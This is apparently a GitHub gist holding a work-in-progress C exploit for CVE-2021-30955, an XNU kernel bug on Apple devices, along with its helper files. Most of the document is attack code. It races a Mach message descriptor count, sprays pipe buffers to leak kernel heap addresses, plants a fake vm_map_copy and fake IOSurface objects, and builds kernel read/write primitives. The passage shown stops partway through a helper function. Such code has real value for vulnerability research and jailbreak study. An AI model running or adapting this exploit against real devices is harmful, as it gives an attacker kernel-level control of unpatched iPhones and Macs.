Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
WIP CVE-2021-30955 exploit
//
// exploit.c
// kmsg_bug
//
// Created by Jake James on 3/2/22.
//
#include "exploit.h"
#include <pthread/pthread.h>
#include "exploit_utilities.h"
#include "IOSurface_stuff.h"
#define DEBUG 1
int surfaces[2][4096] = {0};
io_service_t IOSRUC[2] = {0};
int IOSurface_setCapacity_0x2000() {
kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
if (ret) {
printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
io_connect_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
if (!MACH_PORT_VALID(IOSurfaceRoot)) {
printf("[-] Failed to find IOSurfaceRoot service\n");
return KERN_FAILURE;
}
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[0]);
if (ret || !MACH_PORT_VALID(IOSRUC[0])) {
printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[1]);
if (ret || !MACH_PORT_VALID(IOSRUC[1])) {
printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
struct IOSurfaceFastCreateArgs create_args = {
.alloc_size = pagesize
};
struct IOSurfaceLockResult lock_result;
size_t lock_result_size = 0xf60;
for (int i = 0; i < 4096; i++) {
ret = IOConnectCallMethod(IOSRUC[0], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
if (ret) {
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
surfaces[0][i] = lock_result.surface_id;
}
for (int i = 0; i < 4096; i++) {
release_IOSurface(IOSRUC[0], surfaces[0][i]);
surfaces[0][i] = 0;
}
for (int i = 0; i < 4096; i++) {
ret = IOConnectCallMethod(IOSRUC[1], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
if (ret) {
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
#if DEBUG
printf("[i] Surface id: %d\n", lock_result.surface_id);
#endif
surfaces[1][i] = lock_result.surface_id;
if (surfaces[1][i] == 8100) break;
}
return 0;
}
void release_all() {
for (int i = 0; i < 4096; i++) {
if (surfaces[1][i]) {
printf("[*] Releasing %d\n", surfaces[1][i]);
fflush(stdout);
usleep(10);
release_IOSurface(IOSRUC[1], surfaces[1][i]);
}
}
}
// N_DESC = 14 and N_CORRUPTED = 1014 will make a message have 0x4000 size
// (there are other combinations however for some reason ones where difference is lower don't work?)
#define N_DESC 14
#define N_CORRUPTED 1014
// how many pipes to spray
#define N_SPRAY 5000
// size of each pipe buffer
#define KALLOC_SIZE 0x4000
// size of ool buffer
#define OOL_SIZE 0x100
#define BIG_BUFFER_SIZE 0x10000
struct exp_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
mach_msg_ool_descriptor_t ool_desc[N_CORRUPTED - 1];
};
struct exp_msg msg;
void race_thread() {
while (1) {
// change the descriptor count back and forth
// eventually the race will work just right so we get this order of actions:
// count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin
msg.body.msgh_descriptor_count = N_CORRUPTED;
msg.body.msgh_descriptor_count = N_DESC;
}
}
void *fake_IOSC;
void *fake_IOS;
uint64_t ool_ports_buffer = 0;
uint64_t IOSC_array = 0;
int opipe[2] = {0};
mach_port_t dest;
// these are racy, should put locks, but this is just an exploit, so idc
uint32_t rk32(uint64_t addr) {
*(uint64_t*)(fake_IOSC + 0x40) = addr - 0xb4;
uint32_t val;
int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &val);
*(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;
if (ret) {
printf("[-][rk32] Error get_ycbcrmatrix: %s\n", mach_error_string(ret));
return 0;
}
return val;
}
uint64_t rk64(uint64_t addr) {
uint32_t val1 = rk32(addr);
uint64_t val2 = rk32(addr + 4);
uint64_t val64 = val1 | (val2 << 32);
return val64;
}
int wk64(uint64_t addr, uint64_t what) {
*(uint64_t*)(fake_IOS + 0x360) = addr;
int ret = IOSurface_set_indexed_timestamp(IOSRUC[1], surfaces[1][0], 0, what);
*(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000;
if (ret) {
printf("[-][wk64] Error set_indexed_timestamp: %s\n", mach_error_string(ret));
return ret;
}
return 0;
}
void after_thread() {
// wait a little bit
sleep(5); // probably too much
uint64_t test = (uint64_t)malloc(8); // let's pretend this is a kernel address
wk64(test, 0x4142434445464748);
printf("[i] Wrote: 0x%lx\n", 0x4142434445464748);
printf("[i] Read back: 0x%llx\n", rk64(test));
printf("[*] Panic!!\n");
fflush(stdout);
sleep(1);
wk64(0x4141414141414141, 0x4242424242424242);
}
void exploit() {
printf("[*] Setting up exploit\n");
IOSurface_setCapacity_0x2000();
void *body = calloc(1, KALLOC_SIZE);
// allow us to spray a lot of pipes
increase_file_limit();
// ool buffer
void* buf = calloc(1, OOL_SIZE * N_DESC);
void *ports = calloc(1, BIG_BUFFER_SIZE/2); // size of a port in userland is half its size in kernel
// set up the message
msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg));
msg.hdr.msgh_remote_port = 0;
msg.hdr.msgh_local_port = MACH_PORT_NULL;
msg.hdr.msgh_id = 0x12341234;
// set the initial (smaller) descriptor count
msg.body.msgh_descriptor_count = N_DESC;
// ool ports descriptor
msg.ool_ports.address = ports;
msg.ool_ports.count = BIG_BUFFER_SIZE / 8;
msg.ool_ports.deallocate = 0;
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
// ool descriptors
for (int i = 0; i < N_DESC - 1; i++) {
msg.ool_desc[i].address = buf + i * OOL_SIZE;
msg.ool_desc[i].size = OOL_SIZE;
msg.ool_desc[i].deallocate = 0;
msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR;
msg.ool_desc[i].copy = MACH_MSG_PHYSICAL_COPY;
}
// original writeup uses a mach message for this, but we'd have to fix up the trailer to avoid breaking its signature, also pipes allow us to write back without reallocating
printf("[*] Spraying pipe buffers\n");
int pipes[N_SPRAY][2] = {0};
for (int i = 0; i < N_SPRAY; i++) {
int ret = pipe(pipes[i]);
if (ret) {
printf("[-] Failed to create pipe: %s\n", strerror(errno));
continue;
}
set_nonblock(pipes[i][0]);
set_nonblock(pipes[i][1]);
memset(body, 0, KALLOC_SIZE);
// -1 otherwise it'll make the size bigger
write(pipes[i][1], body, KALLOC_SIZE - 1);
}
// -----------+-----------+-----------+------------+-----------
// pipe1 | pipe2 | ... | pipe5000 |
// -----------+-----------+-----------+------------+-----------
//
// poke some holes to increase chance of landing right after a pipe
printf("[*] Poking holes\n");
fflush(stdout);
for (int i = 0; i < N_SPRAY; i++) {
if (i % 64 == 0) {
close(pipes[i][0]);
close(pipes[i][1]);
pipes[i][0] = 0;
pipes[i][1] = 0;
}
}
// -----------+-----------+-----------+------------+------------+------------+-----------
// pipe1 | pipe2 | ... | pipe64 | FREE | pipe67 | ...
// -----------+-----------+-----------+------------+------------+------------+-----------
//
printf("[*] Racing\n");
// start the threads
pthread_t thread;
pthread_create(&thread, NULL, (void*)race_thread, NULL);
// try up to 1000 times
for (int i = 0; i < 1000; i++) {
// create a mach port where we'll send the message
dest = new_mach_port();
// send
msg.hdr.msgh_remote_port = dest;
int ret = mach_msg(&msg.hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) printf("error: %s\n", mach_error_string(ret));
// hopefully (pre-trigger):
// -----------+-----------+-----------+-----------+------------+-------------+-----------
// pipe1 | pipe2 | ... | pipeN | ikm_header | pipeN+2 | ...
// -----------+-----------+-----------+-----------+------------+-------------+-----------
//
// after bug trigger pipeN should overlap with ikm_header:
// +----------------+
// | |
// -----------+-----------+-----------+-----------+ +-------------+-----------
// pipe1 | pipe2 | ... | pipeN | ikm_header | pipeN+2 | ...
// -----------+-----------+-----------+-----------+------------+-------------+-----------
// check if we overwrote one of the pipe buffers
for (int i = 0; i < N_SPRAY; i++) {
if (pipes[i][0] && pipes[i][0] != opipe[0]) {;
ssize_t ret = read(pipes[i][0], body, KALLOC_SIZE);
if (ret == -1) {
printf("[-] Failed to read pipe: %s\n", strerror(errno));
continue;
}
// there seem to be some extra 56 bytes between the two
int off = KALLOC_SIZE - 4 * (N_CORRUPTED - N_DESC) + 56;
if (*(uint32_t*)(body + off) == 0x80000011) {
printf("[+] Found ikm_header at pipe nr. %d\n", i);
struct ool_kmsg *kmsg = body+off;
#if DEBUG
for (int i = 0; i < N_DESC; i++) {
uint64_t kaddr = (uint64_t)kmsg->ool_messages[i].address;
printf("[i] 0x%llx\n", kaddr);
}
#endif
ool_ports_buffer = (uint64_t)kmsg->ool_messages[0].address;
// assume this scenario is true and hope for the best
IOSC_array = ool_ports_buffer - BIG_BUFFER_SIZE;
// save the pipe
opipe[0] = pipes[i][0];
opipe[1] = pipes[i][1];
pipes[i][0] = 0;
pipes[i][1] = 0;
// close other pipes
for (int i = 0; i < N_SPRAY; i++) {
if (pipes[i][0]) close(pipes[i][0]);
if (pipes[i][1]) close(pipes[i][1]);
}
printf("[+] Leaked ool ports buffer: 0x%llx\n", ool_ports_buffer);
printf("[+] Calculated IOSurfaceClient array address: 0x%llx\n", IOSC_array);
void *buf = calloc(1, 0x5000); // need to calculate on A10+
struct vm_map_copy *copy = buf;
struct vm_map_links *entry = buf + 0x1000;
copy->type = VM_MAP_COPY_ENTRY_LIST; // we need the entry list type
copy->c_u.hdr.nentries = 1; // doesn't really matter
copy->c_u.hdr.links.next = (struct vm_map_entry*)entry; // the fake entry
*(uint64_t*)(((uint64_t)&copy->c_u.hdr) + 0x28) = 0xffffffffbaadc0d1; // do this to skip some useless code
fake_IOSC = buf + 0x2000; // fake IOSurfaceClient
fake_IOS = buf + 0x3000; // fake IOSurface
*(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000; // fake timestamp array = fake ycbcrmatrix array
// *(uint64_t*)(fake_IOS + 0xb4)
*(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;
void *vm_object = buf + 0x3000;
*(uint8_t*)(vm_object + 0xa) = 0x40; // lock stuff
*(uint32_t*)(vm_object + 0x28) = 2; // something that needs to be 2 for it to work
*(uint64_t*)(vm_object + 0x48) = 0x1337; // needs to be non-zero
*(uint32_t*)(vm_object + 0x74) = 0x8000000; // needs to be this
*(uint32_t*)(vm_object + 0xa4) = 0x400; // mapping_in_progress = 1
entry->prev = (void *)fake_IOSC;
entry->next = (void *)(IOSC_array + surfaces[1][0] * 8);
*(uint64_t*)((uint64_t)entry + 0x38) = (uint64_t)vm_object; // the fake vm_object
*(uint64_t*)((uint64_t)entry + 0x48) = 0; // needs to be 0
printf("[*] Writing fake vm_map_copy ptr\n");
kmsg->ool_messages[1].address = (void*)copy;
write(opipe[1], body, KALLOC_SIZE);
pthread_t thread;
pthread_create(&thread, NULL, (void*)after_thread, NULL);
/*
this will basically do:
entry->next->prev = entry->prev;
entry->prev->next = entry->next;
and then it'll hang until mapping_in_progress is unset
*/
printf("[*] Writing fake IOSurfaceClient ptr\n");
mach_port_destroy(mach_task_self(), dest);
printf("[-] Exploit failed\n");
return;
}
memset(body, 0, KALLOC_SIZE);
write(pipes[i][1], body, KALLOC_SIZE - 1);
}
}
// if bug didn't work, free message and try again
// if bug worked but pipes weren't affected then we corrupted something else, let this just panic
mach_port_destroy(mach_task_self(), dest);
}
printf("[-] Exploit failed\n");
return;
}
//
// exploit.h
// kmsg_bug
//
// Created by Jake James on 3/2/22.
//
#ifndef exploit_h
#define exploit_h
#include <stdio.h>
#include <mach/vm_types.h>
void exploit(void);
struct vm_map_links {
struct vm_map_entry *prev; /* previous entry */
struct vm_map_entry *next; /* next entry */
vm_map_offset_t start; /* start address */
vm_map_offset_t end; /* end address */
};
struct vm_map_header {
struct vm_map_links links; /* first, last, min, max */
int nentries; /* Number of entries */
boolean_t entries_pageable;
int page_shift; /* page shift */
};
struct vm_map_copy {
int type;
#define VM_MAP_COPY_ENTRY_LIST 1
#define VM_MAP_COPY_OBJECT 2
#define VM_MAP_COPY_KERNEL_BUFFER 3
vm_object_offset_t offset;
vm_map_size_t size;
union {
struct vm_map_header hdr; /* ENTRY_LIST */
void *object; /* OBJECT */
void *kdata; /* KERNEL_BUFFER */
} c_u;
};
#endif /* exploit_h */
//
// exploit_utilities.c
// sock_port
//
// Created by Jake James on 7/17/19.
// Copyright © 2019 Jake James. All rights reserved.
//
#import "exploit_utilities.h"
mach_port_t new_mach_port() {
mach_port_t port = MACH_PORT_NULL;
kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (ret) {
printf("[-] failed to allocate port\n");
return MACH_PORT_NULL;
}
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (ret) {
printf("[-] failed to insert right\n");
mach_port_destroy(mach_task_self(), port);
return MACH_PORT_NULL;
}
mach_port_limits_t limits = {0};
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
if (ret) {
printf("[-] failed to increase queue limit\n");
mach_port_destroy(mach_task_self(), port);
return MACH_PORT_NULL;
}
return port;
}
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
msg->hdr.msgh_remote_port = destination;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
msg->hdr.msgh_id = 0x41414141;
memcpy(&msg->buf[0], buffer, size);
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
printf("[-] failed to send message\n");
mach_port_destroy(mach_task_self(), destination);
free(msg);
return ret;
}
free(msg);
return KERN_SUCCESS;
}
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) {
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
printf("[-] failed to receive message: 0x%x (%s)\n", ret, mach_error_string(ret));
return NULL;
}
return msg;
}
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition) {
kern_return_t ret;
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_ports_msg* msg = (struct ool_ports_msg*)calloc(1, sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount);
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount);
msg->hdr.msgh_remote_port = where;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = dcount;
for (int i = 0; i < dcount; i++) {
msg->ool_ports[i].address = ports;
msg->ool_ports[i].count = count;
msg->ool_ports[i].deallocate = 0;
msg->ool_ports[i].disposition = disposition;
msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
}
ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
free(msg);
free(ports);
if (ret) {
printf("[-] Failed to send OOL ports: 0x%x (%s)\n", ret, mach_error_string(ret));
return KERN_FAILURE;
}
return 0;
}
int send_ool_message(mach_port_t where, void *buf, mach_msg_size_t size, int dcount) {
kern_return_t ret;
struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount);
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount);
msg->hdr.msgh_remote_port = where;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = dcount;
for (int i = 0; i < dcount; i++) {
msg->ool_messages[i].address = buf;
msg->ool_messages[i].size = size;
msg->ool_messages[i].deallocate = 0;
msg->ool_messages[i].type = MACH_MSG_OOL_DESCRIPTOR;
msg->ool_messages[i].copy = MACH_MSG_VIRTUAL_COPY;
}
ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
free(msg);
if (ret) {
printf("[-] Failed to send OOL message: 0x%x (%s)\n", ret, mach_error_string(ret));
return KERN_FAILURE;
}
return 0;
return ret;
}
#define USER_HEADER_SIZE_DELTA 8
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) {
return (kalloc_size - MAX_TRAILER_SIZE - USER_HEADER_SIZE_DELTA - sizeof(struct simple_msg));
//return ((3 * kalloc_size) / 4) - 0x74;
}
void trigger_gc() {
const int gc_ports_cnt = 1000;
int gc_ports_max = gc_ports_cnt;
mach_port_t gc_ports[gc_ports_cnt] = { 0 };
uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(struct simple_msg); // 1024
uint8_t *body = (uint8_t*)malloc(body_size);
memset(body, 0x41, body_size);
for (int i = 0; i < gc_ports_cnt; i++) {
uint64_t t0, t1;
t0 = 0;// mach_absolute_time();
gc_ports[i] = new_mach_port();
send_message(gc_ports[i], body, body_size);
t1 = 0; //mach_absolute_time();
if (t1 - t0 > 1000000) {
printf("[+] got gc at %d -- breaking\n", i);
gc_ports_max = i;
break;
}
}
for (int i = 0; i < gc_ports_max; i++) {
mach_port_destroy(mach_task_self(), gc_ports[i]);
}
sched_yield();
sleep(1);
}
void hexdump(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
void increase_file_limit() {
struct rlimit rl = {};
getrlimit(RLIMIT_NOFILE, &rl);
rl.rlim_cur = 10240;
rl.rlim_max = rl.rlim_cur;
setrlimit(RLIMIT_NOFILE, &rl);
}
void set_nonblock(int fd) {
int flags = fcntl(fd, F_GETFL);
flags |= O_NONBLOCK;
fcntl(fd, F_SETFL, flags);
}
//
// exploit_utilities.h
// sock_port
//
// Created by Jake James on 7/17/19.
// Copyright © 2019 Jake James. All rights reserved.
//
#ifndef exploit_utilities_h
#define exploit_utilities_h
#import <stdio.h>
#import <unistd.h>
#import <stdlib.h>
#import <errno.h>
#import <mach/mach.h>
#import <sched.h>
//import <IOKit/IOKitLib.h>
#import <sys/utsname.h>
#import <fcntl.h>
//#import "IOSurface_stuff.h"
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_messages[];
};
struct ool_ports_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[];
};
struct simple_msg {
mach_msg_header_t hdr;
char buf[0];
};
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
uint64_t msgh_remote_port;
uint64_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} kern_mach_msg_header_t;
struct ool_kmsg {
kern_mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_messages[];
};
struct ool_ports_kmsg {
kern_mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[];
};
struct simple_kmsg {
kern_mach_msg_header_t hdr;
char buf[0];
};
mach_port_t new_mach_port(void);
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size);
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size);
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition);
int send_ool_message(mach_port_t where, void *msg, mach_msg_size_t size, int dcount);
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size);
void trigger_gc(void);
void hexdump(const void* data, size_t size);
void increase_file_limit(void);
void set_nonblock(int fd);
#endif /* exploit_utilities_h */
//
// IOSurface_stuff.c
// time_waste
//
// Created by Jake James on 2/22/20.
// Copyright © 2020 Jake James. All rights reserved.
//
#import "IOSurface_stuff.h"
uint32_t pagesize;
io_connect_t IOSurfaceRoot;
io_service_t IOSurfaceRootUserClient;
uint32_t IOSurface_ID;
int init_IOSurface() {
kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
if (ret) {
printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
printf("[i] page size: 0x%x\n", pagesize);
IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
if (!MACH_PORT_VALID(IOSurfaceRoot)) {
printf("[-] Failed to find IOSurfaceRoot service\n");
return KERN_FAILURE;
}
ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSurfaceRootUserClient);
if (ret || !MACH_PORT_VALID(IOSurfaceRootUserClient)) {
printf("[-] Failed to open IOSurfaceRootUserClient: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
struct IOSurfaceFastCreateArgs create_args = {
.alloc_size = pagesize
};
struct IOSurfaceLockResult lock_result;
size_t lock_result_size = 0xf60;
ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
if (ret) {
printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
IOSurface_ID = lock_result.surface_id;
return 0;
}
int release_IOSurface(io_service_t userclient, int surface_id) {
uint64_t scalar[] = { surface_id };
int ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_release_surface_selector, scalar, 1, NULL, 0, NULL, NULL, NULL, NULL);
if (ret) {
printf("[-][IOSurface] Failed to release surface: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
return 0;
}
int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size) {
struct IOSurfaceValueResultArgs result;
size_t result_size = sizeof(result);
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_set_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size);
if (ret) {
printf("[-][IOSurface] Failed to set value: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
return 0;
}
int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size) {
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_get_value_selector, NULL, 0, args, args_size, NULL, NULL, output, out_size);
if (ret) {
printf("[-][IOSurface] Failed to get value: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
return 0;
}
int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size) {
struct IOSurfaceValueResultArgs result;
size_t result_size = sizeof(result);
kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_remove_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size);
if (ret) {
printf("[-][IOSurface] Failed to remove value: 0x%x (%s)\n", ret, mach_error_string(ret));
return ret;
}
return 0;
}
int IOSurface_remove_property(uint32_t key) {
uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);
struct IOSurfaceValueArgs *args = malloc(argsSz);
bzero(args, argsSz);
args->surface_id = IOSurface_ID;
args->binary[0] = key;
args->binary[1] = 0;
int ret = IOSurface_removeValue(args, 16);
free(args);
return ret;
}
int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key) {
if (size - 1 > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4;
struct IOSurfaceValueArgs *args = calloc(1, args_size);
args->surface_id = IOSurface_ID;
int i = 0;
args->binary[i++] = kOSSerializeBinarySignature;
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
args->binary[i++] = kOSSerializeString | (size - 1);
memcpy(&args->binary[i], data, size);
i += (size + 3)/4;
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
args->binary[i++] = kalloc_key;
args->binary[i++] = 0;
kern_return_t ret = IOSurface_setValue(args, args_size);
free(args);
return ret;
}
int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {
if (size - 1 > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
if (count > 0x00ffffff) {
printf("[-][IOSurface] Count too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4;
struct IOSurfaceValueArgs *args = calloc(1, args_size);
args->surface_id = IOSurface_ID;
int i = 0;
args->binary[i++] = kOSSerializeBinarySignature;
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
args->binary[i++] = kOSSerializeArray | count;
for (int c = 0; c < count; c++) {
args->binary[i++] = kOSSerializeData | (size) | ((c == count - 1) ? kOSSerializeEndCollection : 0);
memcpy(&args->binary[i], data, size);
i += (size + 3)/4;
}
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
args->binary[i++] = kalloc_key;
args->binary[i++] = 0;
kern_return_t ret = IOSurface_setValue(args, args_size);
free(args);
return ret;
}
int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key) {
uint32_t capacity = size / 16;
if (capacity > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
size_t args_size = sizeof(struct IOSurfaceValueArgs) + 9 * 4;
struct IOSurfaceValueArgs *args = calloc(1, args_size);
args->surface_id = IOSurface_ID;
int i = 0;
args->binary[i++] = kOSSerializeBinarySignature;
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
args->binary[i++] = kOSSerializeDictionary | capacity;
args->binary[i++] = kOSSerializeSymbol | 4;
args->binary[i++] = 0x00aabbcc;
args->binary[i++] = kOSSerializeBoolean | kOSSerializeEndCollection;
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
args->binary[i++] = kalloc_key;
args->binary[i++] = 0;
kern_return_t ret = IOSurface_setValue(args, args_size);
free(args);
return ret;
}
int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key) {
if (size < pagesize) {
printf("[-][IOSurface] Size too small for kmem_alloc\n");
return KERN_FAILURE;
}
if (size > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4;
struct IOSurfaceValueArgs *args = calloc(1, args_size);
args->surface_id = IOSurface_ID;
int i = 0;
args->binary[i++] = kOSSerializeBinarySignature;
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
args->binary[i++] = kOSSerializeData | size;
memcpy(&args->binary[i], data, size);
i += (size + 3)/4;
